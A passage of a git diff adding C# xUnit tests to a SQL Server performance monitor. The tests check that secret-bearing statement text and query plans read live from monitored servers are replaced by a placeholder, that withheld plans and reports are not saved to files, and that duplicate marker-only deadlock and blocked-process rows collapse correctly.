+                    problems.Add(relative + " writes a .sqlplan without WithheldPlanGuard.RefuseSave");
+                }
+            }
+        }
+
+        /* The three history windows, the shared SavePlanFile helper and the viewer's own Save button. */
+        Assert.True(sites >= 5, "expected at least 5 plan save sites, found " + sites);
+        Assert.Empty(problems);
+    }
+
+    private static readonly Regex LiveFetchCall = new(
+        @"LocalDataService\s*\.\s*Fetch\w*Plan\w*\s*\(",
+        RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    private static readonly Regex Wrapped = new(
+        @"await\s+LivePlanDisplay\s*\.\s*FilterAsync\s*\(\s*await\s*$",
+        RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    /// <summary>
+    /// Every caller of a live plan fetch in the app passes the result through the helper at the call. The MCP plan
+    /// tools are the one exception: they answer through <c>AnalyzeFilteredPlan</c> (see
+    /// <c>StoredPlanAnalysisFilterTests</c>). A new caller fails here until it is wrapped.
+    /// </summary>
+    [Fact]
+    public void EveryLiveFetchCaller_PassesThePlanThroughTheHelperAtTheCall()
+    {
+        var liteRoot = Path.Combine(RepoRoot(), "Lite");
+        var problems = new List<string>();
+        var sites = 0;
+        var files = new HashSet<string>(StringComparer.Ordinal);
+
+        foreach (var file in Directory.EnumerateFiles(liteRoot, "*.cs", SearchOption.AllDirectories))
+        {
+            var relative = Path.GetRelativePath(liteRoot, file).Replace('\\', '/');
+            if (relative.StartsWith("obj/", StringComparison.Ordinal)
+                || relative.StartsWith("bin/", StringComparison.Ordinal)
+                || relative.StartsWith("Services/LocalDataService", StringComparison.Ordinal)
+                || relative == "Mcp/McpPlanTools.cs")
+            {
+                continue;
+            }
+
+            var code = CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(file));
+            foreach (Match match in LiveFetchCall.Matches(code))
+            {
+                sites++;
+                files.Add(relative);
+                /* The call is `await LivePlanDisplay.FilterAsync(await LocalDataService.Fetch...(`, so what precedes `LocalDataService`
+                   must end in the wrapper and the `await`. */
+                var awaitIndex = code.LastIndexOf("await", match.Index, StringComparison.Ordinal);
+                var before = awaitIndex < 0 ? string.Empty : code[..(awaitIndex + "await".Length)];
+                var between = awaitIndex < 0 ? "x" : code[(awaitIndex + "await".Length)..match.Index];
+                if (awaitIndex < 0 || between.Trim().Length != 0 || !Wrapped.IsMatch(before))
+                {
+                    var line = code[..match.Index].Count(c => c == '\n') + 1;
+                    problems.Add(relative + ":" + line + " calls " + match.Value.TrimEnd('(') + " without await LivePlanDisplay.FilterAsync(await ...)");
+                }
+            }
+        }
+
+        /* A scan that found nothing would pass vacuously: the display sites are in these six files. The pattern takes any
+           fetch-a-plan name (the by-sql_handle fetch the blocked-process and deadlock actions use included, #5320), so a
+           fetch added under a new name fails here until it is wrapped. */
+        Assert.True(sites >= 18, "expected at least 18 live plan fetch call sites, found " + sites);
+        Assert.Equal(6, files.Count);
+        Assert.Empty(problems);
+    }
+
+    /// <summary>
+    /// #5367: a withheld deadlock graph or blocked process report is not "a plan", so its save refusal names what is
+    /// being saved; the plan viewers keep their existing sentence word for word.
+    /// </summary>
+    [Fact]
+    public void TheWithheldSentence_NamesWhatIsSaved_AndThePlanSentenceIsUnchanged()
+    {
+        Assert.Equal("This plan was withheld by the statement filter (#4348).", WithheldPlanGuard.WithheldSentenceFor("plan"));
+        Assert.Equal(SensitiveStatements.WithheldPlanSentence, WithheldPlanGuard.WithheldSentenceFor("plan"));
+        Assert.Equal("This deadlock graph was withheld by the statement filter (#4348).", WithheldPlanGuard.WithheldSentenceFor("deadlock graph"));
+        Assert.Equal("This blocked process report was withheld by the statement filter (#4348).", WithheldPlanGuard.WithheldSentenceFor("blocked process report"));
+    }
+
+    /// <summary>
+    /// #5320: a deadlock graph or blocked process report the filter withheld whole is the marker, not XML. The shared
+    /// <c>FileSaveHelper.SaveXmlToFile</c> (the one save path for both reports) asks the guard before it opens the save
+    /// dialog, so the marker is never written to an <c>.xml</c> file and the user is told why.
+    /// </summary>
+    [Fact]
+    public void SaveXmlToFile_RefusesAWithheldReportBeforeTheSaveDialog_AndLitesDownloadsUseIt()
+    {
+        var helper = File.ReadAllText(Path.Combine(RepoRoot(), "PerformanceMonitor.Ui", "FileSaveHelper.cs"));
+        var start = helper.IndexOf("public static void SaveXmlToFile(", StringComparison.Ordinal);
+        Assert.True(start >= 0, "SaveXmlToFile not found");
+        var dialog = helper.IndexOf("new SaveFileDialog", start, StringComparison.Ordinal);
+        var guard = helper.IndexOf("WithheldPlanGuard.RefuseSave(xml, withheldSubject)", start, StringComparison.Ordinal);
+        Assert.True(guard >= 0 && dialog >= 0 && guard < dialog, "SaveXmlToFile must call WithheldPlanGuard.RefuseSave(xml, withheldSubject) before it opens the dialog");
+
+        var plans = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "Controls", "ServerTab.Plans.cs"));
+        Assert.Contains("SaveXmlToFile(row.DeadlockGraphXml", plans, StringComparison.Ordinal);
+        Assert.Contains("SaveXmlToFile(row.BlockedProcessReportXml", plans, StringComparison.Ordinal);
+
+        /* #5367: the sentence names what is saved. A deadlock graph is not "a plan"; each download passes its own subject. */
+        Assert.Contains("SaveXmlToFile(row.DeadlockGraphXml, $\"deadlock_{row.DeadlockTime:yyyyMMdd_HHmmss}.xml\", \"deadlock XML\", \"deadlock graph\")", plans, StringComparison.Ordinal);
+        Assert.Contains("\"blocked process XML\", \"blocked process report\")", plans, StringComparison.Ordinal);
+        Assert.DoesNotContain("File.WriteAllText", plans, StringComparison.Ordinal);
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+}
diff --git a/Lite.Tests/StatementScrubLiveReadTests.cs b/Lite.Tests/StatementScrubLiveReadTests.cs
new file mode 100644
index 0000000000..2e19778c08
--- /dev/null
+++ b/Lite.Tests/StatementScrubLiveReadTests.cs
@@ -0,0 +1,250 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Lite.Tests.Helpers;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4348, the Lite reads that are not the collector's: a row or plan read live from the monitored server never passes
+/// through the collection-time filter, so it is judged where it is read. Two sources were left raw: the Live Snapshot
+/// button's own read (the statement text and both plans of every running request, which then reach the grid, every
+/// copy and CSV of it, and the .sqlplan a row's Download saves) and the "Get Actual Plan" re-run (the plan the
+/// monitored server returns). Pinned here: the Live Snapshot row, and a scan that every re-run call site passes its
+/// result through <c>LivePlanDisplay.Filter</c> and that no new live read of the monitored server appears unnoticed.
+/// </summary>
+public sealed class StatementScrubLiveReadTests
+{
+    private const string Marker = SensitiveStatements.PlaceholderText;
+
+    private static object[] SnapshotRow(string text, string? estimatedPlan, string? livePlan)
+    {
+        var row = new object[35];
+        Array.Fill(row, DBNull.Value);
+        row[0] = 55;                                  /* session_id */
+        row[3] = text;                                /* query text */
+        row[4] = estimatedPlan ?? (object)DBNull.Value;
+        row[5] = livePlan ?? (object)DBNull.Value;
+        return row;
+    }
+
+    [Fact]
+    public void LiveSnapshotRow_WithANamedStatement_ReadsAsTheMarker_InTheTextAndBothPlans()
+    {
+        var plan = StatementScrubCanary.CanaryPlan();
+        using var reader = new FakeCollectorDataReader(SnapshotRow(StatementScrubCanary.CanaryStatement, plan, plan));
+        Assert.True(reader.Read());
+
+        var live = ServerTab.ReadLiveSnapshotRow(reader, new DateTime(2026, 10, 8, 12, 0, 0));
+
+        Assert.Equal(Marker, live.QueryText);
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.DoesNotContain(needle, live.QueryText, StringComparison.Ordinal);
+            Assert.DoesNotContain(needle, live.QueryPlan ?? string.Empty, StringComparison.Ordinal);
+            Assert.DoesNotContain(needle, live.LiveQueryPlan ?? string.Empty, StringComparison.Ordinal);
+        }
+
+        /* The plan buttons stay on (the grid's flags come from the in-row plan), and a Download of it is the withheld
+           refusal rather than a file with the secret in it. */
+        Assert.True(live.HasQueryPlan);
+        Assert.True(live.HasLiveQueryPlan);
+    }
+
+    [Fact]
+    public void LiveSnapshotRow_WithAPlainStatement_IsUnchanged()
+    {
+        var plain = "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence><Batch><Statements>"
+            + "<StmtSimple StatementText=\"" + StatementScrubCanary.PlainStatement + "\" /></Statements></Batch></BatchSequence></ShowPlanXML>";
+        using var reader = new FakeCollectorDataReader(SnapshotRow(StatementScrubCanary.PlainStatement, plain, plain));
+        Assert.True(reader.Read());
+
+        var live = ServerTab.ReadLiveSnapshotRow(reader, new DateTime(2026, 10, 8, 12, 0, 0));
+
+        Assert.Equal(StatementScrubCanary.PlainStatement, live.QueryText);
+        Assert.Equal(plain, live.QueryPlan);
+        Assert.Equal(plain, live.LiveQueryPlan);
+    }
+
+    [Fact]
+    public void LiveSnapshotRow_WithNoText_AndNoPlans_StaysEmpty()
+    {
+        using var reader = new FakeCollectorDataReader(SnapshotRow(string.Empty, null, null));
+        Assert.True(reader.Read());
+
+        var live = ServerTab.ReadLiveSnapshotRow(reader, new DateTime(2026, 10, 8, 12, 0, 0));
+
+        Assert.Equal(string.Empty, live.QueryText);
+        Assert.Null(live.QueryPlan);
+        Assert.Null(live.LiveQueryPlan);
+        Assert.False(live.HasQueryPlan);
+        Assert.False(live.HasLiveQueryPlan);
+    }
+
+    /// <summary>
+    /// #5554: the live read judges every row, and the judge can spend seconds on a large plan, so the loop runs off the
+    /// calling (UI) thread. Driven from a dedicated thread that blocks until the read returns; a loop that ran inline would
+    /// read every row on that same thread.
+    /// </summary>
+    [Fact]
+    public void LiveSnapshotRows_AreReadAndJudged_OffTheCallingThread()
+    {
+        var plan = StatementScrubCanary.CanaryPlan();
+        using var reader = new FakeCollectorDataReader(
+            SnapshotRow(StatementScrubCanary.CanaryStatement, plan, plan),
+            SnapshotRow(StatementScrubCanary.PlainStatement, null, null))
+        {
+            GetStringThreads = new System.Collections.Concurrent.ConcurrentBag<int>()
+        };
+
+        var callerThread = -1;
+        List<QuerySnapshotRow>? rows = null;
+        var thread = new Thread(() =>
+        {
+            callerThread = Environment.CurrentManagedThreadId;
+            rows = ServerTab.ReadLiveSnapshotRowsAsync(reader, new DateTime(2026, 10, 8, 12, 0, 0)).GetAwaiter().GetResult();
+        });
+        thread.Start();
+        Assert.True(thread.Join(TimeSpan.FromSeconds(60)));
+
+        Assert.NotNull(rows);
+        Assert.Equal(2, rows!.Count);
+        Assert.Equal(Marker, rows[0].QueryText);
+        Assert.Equal(StatementScrubCanary.PlainStatement, rows[1].QueryText);
+        Assert.NotEmpty(reader.GetStringThreads);
+        Assert.DoesNotContain(callerThread, reader.GetStringThreads);
+    }
+
+    /// <summary>#5554: the re-run and fetch display sites filter off the UI thread; the result is the same as the sync filter.</summary>
+    [Fact]
+    public async Task FilterAsync_GivesTheSameAnswerAsFilter_AndPassesNullAndEmptyThrough()
+    {
+        var plan = StatementScrubCanary.CanaryPlan();
+        Assert.Equal(LivePlanDisplay.Filter(plan), await LivePlanDisplay.FilterAsync(plan));
+        Assert.DoesNotContain(StatementScrubCanary.SecretNeedles[0], await LivePlanDisplay.FilterAsync(plan) ?? "", StringComparison.Ordinal);
+        Assert.Null(await LivePlanDisplay.FilterAsync(null));
+        Assert.Equal(string.Empty, await LivePlanDisplay.FilterAsync(string.Empty));
+    }
+
+    private static readonly Regex ActualPlanCall = new(
+        @"ActualPlanExecutor\s*\.\s*ExecuteForActualPlanAsync\s*\(", RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    private static readonly Regex WrappedActualPlanCall = new(
+        @"await\s+LivePlanDisplay\s*\.\s*FilterAsync\s*\(\s*await\s+ActualPlanExecutor\s*\.\s*ExecuteForActualPlanAsync\s*\(",
+        RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    /// <summary>
+    /// The actual-plan re-run asks the monitored server for a plan: every Lite call site passes it through the helper at
+    /// the call. A new call site fails here until it is wrapped.
+    /// </summary>
+    [Fact]
+    public void EveryActualPlanReRun_PassesThePlanThroughTheHelperAtTheCall()
+    {
+        var liteRoot = Path.Combine(RepoRoot(), "Lite");
+        var calls = 0;
+        var wrapped = 0;
+        var files = new HashSet<string>(StringComparer.Ordinal);
+
+        foreach (var file in Directory.EnumerateFiles(liteRoot, "*.cs", SearchOption.AllDirectories))
+        {
+            var relative = Path.GetRelativePath(liteRoot, file).Replace('\\', '/');
+            if (relative.StartsWith("obj/", StringComparison.Ordinal) || relative.StartsWith("bin/", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var code = CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(file));
+            var found = ActualPlanCall.Matches(code).Count;
+            if (found == 0)
+            {
+                continue;
+            }
+
+            calls += found;
+            wrapped += WrappedActualPlanCall.Matches(code).Count;
+            files.Add(relative);
+        }
+
+        /* Five windows' plan actions and the server tab's own re-run; a scan that found nothing would pass vacuously. */
+        Assert.Equal(6, calls);
+        Assert.Equal(6, files.Count);
+        Assert.Equal(calls, wrapped);
+    }
+
+    /// <summary>
+    /// The files anywhere in Lite (windows, tabs, services and the analysis fetcher) that open their own connection to the
+    /// monitored server. A read of statement text or a plan from one of them is judged where it is read (the Live Snapshot
+    /// above) or at the call that displays it; a new file that opens a connection fails here until the list is updated,
+    /// which is the moment to decide what it reads.
+    /// </summary>
+    [Fact]
+    public void TheFilesThatOpenTheirOwnServerConnection_AreTheKnownOnes()
+    {
+        var expected = new[]
+        {
+            "Lite/Controls/ServerTab.xaml.cs",            /* Live Snapshot: judged in ReadLiveSnapshotRow */
+            "Lite/Windows/AddMultipleServersDialog.xaml.cs", /* SELECT @@VERSION */
+            "Lite/Windows/AddServerDialog.xaml.cs",       /* SELECT @@VERSION */
+            "Lite/Windows/ExcludedDatabasesDialog.xaml.cs", /* database names */
+            /* #5554: the rest of Lite, not just the windows and tabs. Each is judged, or reads no statement text: */
+            "Lite/Analysis/SqlPlanFetcher.cs",            /* drill-down plan fetch: judged in DrillDownCollector.Plans before analysis */
+            "Lite/Services/LocalDataService.FinOps.IndexAnalysis.cs",    /* index names and sizes, no statement text */
+            "Lite/Services/LocalDataService.FinOps.Recommendations.cs",  /* object and setting metadata, no statement text */
+            "Lite/Services/LocalDataService.FinOps.ServerProperties.cs", /* server properties, no statement text */
+            "Lite/Services/LocalDataService.QueryStats.cs",              /* the live plan fetches: every caller wraps them (LivePlanDisplay) */
+            "Lite/Services/LocalDataService.QueryStore.cs",              /* the Query Store live plan fetch: every caller wraps it */
+            "Lite/Services/RemoteCollectorService.cs",                   /* the scheduled collectors: judged at collection */
+            "Lite/Services/RemoteCollectorService.DefinitionRunner.cs",  /* the definition-driven collectors: judged at collection */
+            "Lite/Services/RemoteCollectorService.QueryStoreBackfill.cs", /* Query Store backfill: judged at collection */
+            "Lite/Services/ServerManager.cs",                            /* connection test, @@VERSION */
+        };
+
+        var actual = new List<string>();
+        foreach (var file in Directory.EnumerateFiles(Path.Combine(RepoRoot(), "Lite"), "*.cs", SearchOption.AllDirectories))
+        {
+            var relative = Path.GetRelativePath(RepoRoot(), file).Replace('\\', '/');
+            if (relative.Contains("/obj/", StringComparison.Ordinal) || relative.Contains("/bin/", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var code = CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(file));
+            if (Regex.IsMatch(code, @"new\s+SqlConnection\s*\("))
+            {
+                actual.Add(relative);
+            }
+        }
+
+        Assert.Equal(expected.OrderBy(x => x, StringComparer.Ordinal), actual.OrderBy(x => x, StringComparer.Ordinal));
+
+        /* And the one that reads statement text judges it: the row reader takes a session and uses it for the text and both plans. */
+        var serverTab = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "Controls", "ServerTab.xaml.cs"));
+        var start = serverTab.IndexOf("internal static QuerySnapshotRow ReadLiveSnapshotRow", StringComparison.Ordinal);
+        Assert.True(start > 0);
+        var body = serverTab[start..Math.Min(serverTab.Length, start + 4000)];
+        Assert.Contains("scrub.Text(", body, StringComparison.Ordinal);
+        Assert.Equal(2, Regex.Matches(body, @"scrub\.Xml\(").Count);
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+}
diff --git a/Lite.Tests/StatementScrubWholeMarkerIdentityTests.cs b/Lite.Tests/StatementScrubWholeMarkerIdentityTests.cs
new file mode 100644
index 0000000000..be2e213dea
--- /dev/null
+++ b/Lite.Tests/StatementScrubWholeMarkerIdentityTests.cs
@@ -0,0 +1,191 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4348 (R4b): a deadlock graph, blocked process report or system_health event the statement filter withheld WHOLE
+/// stores only the marker, so its identity is the event time plus the non-text columns the collector parsed from the
+/// raw XML before judging it. The same rule drops re-read copies and keeps different events apart; a row with real
+/// text keeps its identity unchanged.
+/// </summary>
+public sealed class StatementScrubWholeMarkerIdentityTests : IDisposable
+{
+    private const int Server = -445302;
+    private static readonly DateTime EventTime = new(2026, 3, 10, 9, 30, 0);
+    private const string Marker = SensitiveStatements.PlaceholderText;
+    private const string Plain = "<deadlock><victim-list><victimProcess id=\"process1\"/></victim-list></deadlock>";
+
+    private readonly string _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+
+    public StatementScrubWholeMarkerIdentityTests() => Directory.CreateDirectory(_tempDir);
+
+    public void Dispose()
+    {
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private async Task<DuckDBConnection> OpenAsync()
+    {
+        var path = Path.Combine(_tempDir, "test.duckdb");
+        using (var initializer = new DuckDbInitializer(path))
+        {
+            await initializer.InitializeAsync();
+        }
+
+        var connection = new DuckDBConnection($"Data Source={path}");
+        await connection.OpenAsync();
+        return connection;
+    }
+
+    private static async Task ExecuteAsync(DuckDBConnection connection, string sql)
+    {
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private static async Task<List<long>> IdsAsync(DuckDBConnection connection, string sql)
+    {
+        var ids = new List<long>();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        using var reader = await cmd.ExecuteReaderAsync();
+        while (await reader.ReadAsync())
+            ids.Add(Convert.ToInt64(reader.GetValue(0)));
+        return ids;
+    }
+
+    private static string Ts(DateTime value) => $"TIMESTAMP '{value:yyyy-MM-dd HH:mm:ss}'";
+
+    private static string Str(string? value) => value is null ? "NULL" : $"'{value.Replace("'", "''")}'";
+
+    private static string Num(int? value) => value is null ? "NULL" : value.Value.ToString(System.Globalization.CultureInfo.InvariantCulture);
+
+    private static Task InsertDeadlockAsync(DuckDBConnection connection, long id, int collectedMinutes, DateTime deadlockTime,
+        string? victim, string? database, string graph) =>
+        ExecuteAsync(connection,
+            "INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, "
+            + $"database_name, deadlock_graph_xml) VALUES ({id}, {Ts(EventTime.AddMinutes(collectedMinutes))}, {Server}, 'S', "
+            + $"{Ts(deadlockTime)}, {Str(victim)}, {Str(database)}, {Str(graph)})");
+
+    private static string ShownDeadlocks() =>
+        "SELECT deadlock_id FROM " + StoredEventCopies.Deadlocks("server_id = " + Server) + " AS d ORDER BY 1";
+
+    /* Three re-reads of one whole-marker deadlock (same time, victim and database) are copies: the cleanup removes the
+       two later ones and the stored-copy read shows one. A different victim at the same time, the same victim at a
+       different time, and a whole-marker row that carries no victim id are all different deadlocks: all stay. */
+    [Fact]
+    public async Task WholeMarkerDeadlocks_ReReadsCollapse_ButDifferentVictimsAndTimesStay()
+    {
+        using var connection = await OpenAsync();
+
+        await InsertDeadlockAsync(connection, 1, 1, EventTime, "process1", "db1", Marker);
+        await InsertDeadlockAsync(connection, 2, 2, EventTime, "process1", "db1", Marker);
+        await InsertDeadlockAsync(connection, 3, 3, EventTime, "process1", "db1", Marker);
+        await InsertDeadlockAsync(connection, 4, 4, EventTime, "process9", "db1", Marker);
+        await InsertDeadlockAsync(connection, 5, 5, EventTime.AddSeconds(30), "process1", "db1", Marker);
+        await InsertDeadlockAsync(connection, 6, 6, EventTime, null, "db1", Marker);
+        await InsertDeadlockAsync(connection, 7, 7, EventTime, null, "db1", Marker);
+
+        Assert.Equal(new List<long> { 1, 4, 5, 6, 7 }, await IdsAsync(connection, ShownDeadlocks()));
+
+        var count = await IdsAsync(connection,
+            "SELECT " + StoredEventCopies.DeadlockDistinctCount + " FROM v_deadlocks AS dl WHERE server_id = " + Server);
+        Assert.Equal(new List<long> { 5 }, count);
+
+        var removed = await DeadlockDuplicateCleanup.RemoveAsync(connection, logger: null);
+
+        Assert.Equal(2, removed);
+        Assert.Equal(new List<long> { 1, 4, 5, 6, 7 }, await IdsAsync(connection, "SELECT deadlock_id FROM deadlocks ORDER BY 1"));
+    }
+
+    /* A row with real graph text keeps the identity it had: the victim and database play no part in it. */
+    [Fact]
+    public async Task ARealTextDeadlock_KeepsItsIdentity_VictimAndDatabaseAreNotPartOfIt()
+    {
+        using var connection = await OpenAsync();
+
+        await InsertDeadlockAsync(connection, 1, 1, EventTime, "process1", "db1", Plain);
+        await InsertDeadlockAsync(connection, 2, 2, EventTime, "process9", "db2", Plain);
+
+        Assert.Equal(new List<long> { 1 }, await IdsAsync(connection, ShownDeadlocks()));
+        Assert.Equal(1, await DeadlockDuplicateCleanup.RemoveAsync(connection, logger: null));
+    }
+
+    private static Task InsertReportAsync(DuckDBConnection connection, long id, int collectedMinutes, int? blocked, int? blocking, string xml) =>
+        ExecuteAsync(connection,
+            "INSERT INTO blocked_process_reports (blocked_report_id, collection_time, server_id, server_name, event_time, "
+            + "database_name, blocked_spid, blocked_ecid, blocking_spid, blocking_ecid, wait_resource, blocked_process_report_xml) "
+            + $"VALUES ({id}, {Ts(EventTime.AddMinutes(collectedMinutes))}, {Server}, 'S', {Ts(EventTime)}, 'db1', "
+            + $"{Num(blocked)}, 0, {Num(blocking)}, 0, 'KEY: 5:1', {Str(xml)})");
+
+    private static string Reports() =>
+        "SELECT blocked_report_id FROM " + StoredEventCopies.BlockedProcessReports("server_id = " + Server) + " AS r ORDER BY 1";
+
+    /* Several blocked sessions often report at one monitor tick. Whole-marker reports at one event time that name
+       different blocked sessions are different reports; a re-read of the same one is a copy. */
+    [Fact]
+    public async Task WholeMarkerBlockedProcessReports_DifferentSessionsAtOneTime_StayApart_AndAReReadCollapses()
+    {
+        using var connection = await OpenAsync();
+
+        await InsertReportAsync(connection, 1, 1, 51, 60, Marker);
+        await InsertReportAsync(connection, 2, 2, 52, 60, Marker);
+        await InsertReportAsync(connection, 3, 3, 51, 60, Marker);
+        await InsertReportAsync(connection, 4, 1, null, null, Marker);
+        await InsertReportAsync(connection, 5, 2, null, null, Marker);
+
+        Assert.Equal(new List<long> { 1, 2, 4, 5 }, await IdsAsync(connection, Reports()));
+    }
+
+    /* Real report text keeps its identity: the sessions are not part of it. */
+    [Fact]
+    public async Task ARealTextBlockedProcessReport_KeepsItsIdentity()
+    {
+        using var connection = await OpenAsync();
+
+        await InsertReportAsync(connection, 1, 1, 51, 60, "<blocked-process-report a=\"1\"/>");
+        await InsertReportAsync(connection, 2, 2, 52, 61, "<blocked-process-report a=\"1\"/>");
+        await InsertReportAsync(connection, 3, 2, 51, 60, "<blocked-process-report a=\"2\"/>");
+
+        Assert.Equal(new List<long> { 1, 3 }, await IdsAsync(connection, Reports()));
+    }
+
+    private static Task InsertHealthAsync(DuckDBConnection connection, long id, int collectedMinutes, string? type, string xml) =>
+        ExecuteAsync(connection,
+            "INSERT INTO system_health_events (system_health_event_id, collection_time, server_id, server_name, event_time, "
+            + $"event_type, event_xml) VALUES ({id}, {Ts(EventTime.AddMinutes(collectedMinutes))}, {Server}, 'S', {Ts(EventTime)}, "
+            + $"{Str(type)}, {Str(xml)})");
+
+    [Fact]
+    public async Task WholeMarkerSystemHealthEvents_DifferentTypesAtOneTime_StayApart_AndAReReadCollapses()
+    {
+        using var connection = await OpenAsync();
+
+        await InsertHealthAsync(connection, 1, 1, "error_reported", Marker);
+        await InsertHealthAsync(connection, 2, 2, "xml_deadlock_report", Marker);
+        await InsertHealthAsync(connection, 3, 3, "error_reported", Marker);
+        await InsertHealthAsync(connection, 4, 1, null, Marker);
+        await InsertHealthAsync(connection, 5, 2, null, Marker);
+        await InsertHealthAsync(connection, 6, 1, "error_reported", "<event a=\"1\"/>");
+        await InsertHealthAsync(connection, 7, 2, "xml_deadlock_report", "<event a=\"1\"/>");
+
+        Assert.Equal(new List<long> { 1, 2, 4, 5, 6 }, await IdsAsync(connection,
+            "SELECT system_health_event_id FROM " + StoredEventCopies.SystemHealthEvents("server_id = " + Server) + " AS r ORDER BY 1"));
+    }
+}
diff --git a/Lite.Tests/StatusBarSizeReadLockTests.cs b/Lite.Tests/StatusBarSizeReadLockTests.cs
index d30a7cfe19..f671c289fc 100644
--- a/Lite.Tests/StatusBarSizeReadLockTests.cs
+++ b/Lite.Tests/StatusBarSizeReadLockTests.cs
@@ -39,6 +39,7 @@ namespace PerformanceMonitorLite.Tests;
 /// that actually distinguishes them: when <c>GetUsedDataSizeMb()</c> returns, the holder has NOT yet been
 /// released.</para>
 /// </summary>
+[Collection("timing")]
 public class StatusBarSizeReadLockTests
 {
     private static readonly TimeSpan WriteLockHold = TimeSpan.FromSeconds(10);
@@ -72,7 +73,7 @@ public async Task GetUsedDataSizeMb_WhenTheWriteLockIsHeld_GivesUpInsteadOfBlock
 
         try
         {
-            var initializer = new DuckDbInitializer(Path.Combine(tempDir, "test.duckdb"));
+            using var initializer = new DuckDbInitializer(Path.Combine(tempDir, "test.duckdb"));
 
             var lockHeld = new ManualResetEventSlim(false);
             var release = new ManualResetEventSlim(false);
diff --git a/Lite.Tests/StoredEventCopiesDeadlockTests.cs b/Lite.Tests/StoredEventCopiesDeadlockTests.cs
index 9dbf27b9cf..9b6209fc07 100644
--- a/Lite.Tests/StoredEventCopiesDeadlockTests.cs
+++ b/Lite.Tests/StoredEventCopiesDeadlockTests.cs
@@ -3,6 +3,7 @@
 using System.Linq;
 using System.Threading.Tasks;
 using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
 using PerformanceMonitorLite.Database;
 using Xunit;
 
@@ -52,7 +53,10 @@ private static string Row(int id, string collected, string? time, string? graph)
        after that, the way a cycle after the 512 MB reset stores them. */
     private async Task<DuckDBConnection> StageAsync(string[] archived, string[] hot)
     {
-        await new DuckDbInitializer(_dbPath).InitializeAsync();
+        using (var initializer = new DuckDbInitializer(_dbPath))
+        {
+            await initializer.InitializeFromTemplateAsync();
+        }
         var connection = new DuckDBConnection($"Data Source={_dbPath}");
         await connection.OpenAsync(TestContext.Current.CancellationToken);
         if (archived.Length > 0)
@@ -65,7 +69,10 @@ private async Task<DuckDBConnection> StageAsync(string[] archived, string[] hot)
 
         if (hot.Length > 0)
             await ExecuteAsync(connection, $"INSERT INTO deadlocks {Columns} VALUES {string.Join(", ", hot)}");
-        await new DuckDbInitializer(_dbPath).CreateArchiveViewsAsync();
+        using (var initializer = new DuckDbInitializer(_dbPath))
+        {
+            await initializer.CreateArchiveViewsAsync();
+        }
         return connection;
     }
 
@@ -208,7 +215,11 @@ public void TheCountSql_UsesTheSharedIdentity_WithNoJoinBack_AndNeverSelectsTheG
 
         /* Every mention of the graph column outside hash(…) and the NULL/'' tests of the never-collapse parts. */
         var bare = count.Replace("hash(deadlock_graph_xml)", "", StringComparison.Ordinal)
-            .Replace("deadlock_graph_xml IS NULL OR deadlock_graph_xml = ''", "", StringComparison.Ordinal);
+            .Replace("deadlock_graph_xml IS NULL OR deadlock_graph_xml = ''", "", StringComparison.Ordinal)
+            /* #4348: a graph withheld whole is the marker text; its identity parts and the never-collapse test name it. */
+            .Replace("CASE WHEN deadlock_graph_xml = '" + SensitiveStatements.PlaceholderText + "' THEN victim_process_id END", "", StringComparison.Ordinal)
+            .Replace("CASE WHEN deadlock_graph_xml = '" + SensitiveStatements.PlaceholderText + "' THEN database_name END", "", StringComparison.Ordinal)
+            .Replace(" OR (deadlock_graph_xml = '" + SensitiveStatements.PlaceholderText + "' AND (victim_process_id IS NULL OR victim_process_id = ''))", "", StringComparison.Ordinal);
         Assert.DoesNotContain("deadlock_graph_xml", bare, StringComparison.Ordinal);
 
         /* The helper's grouped side keys by the same parts. */
@@ -217,13 +228,16 @@ public void TheCountSql_UsesTheSharedIdentity_WithNoJoinBack_AndNeverSelectsTheG
             Assert.Contains(part, helper, StringComparison.Ordinal);
     }
 
-    /* The three other tables send the SQL they sent before deadlocks joined the helper, byte for byte. */
+    /* The long query table sends the SQL it sent before deadlocks joined the helper, byte for byte. The blocked process
+       report and system_health SQL changed ON PURPOSE in #4348 (R4b): each gained the whole-marker identity parts (a
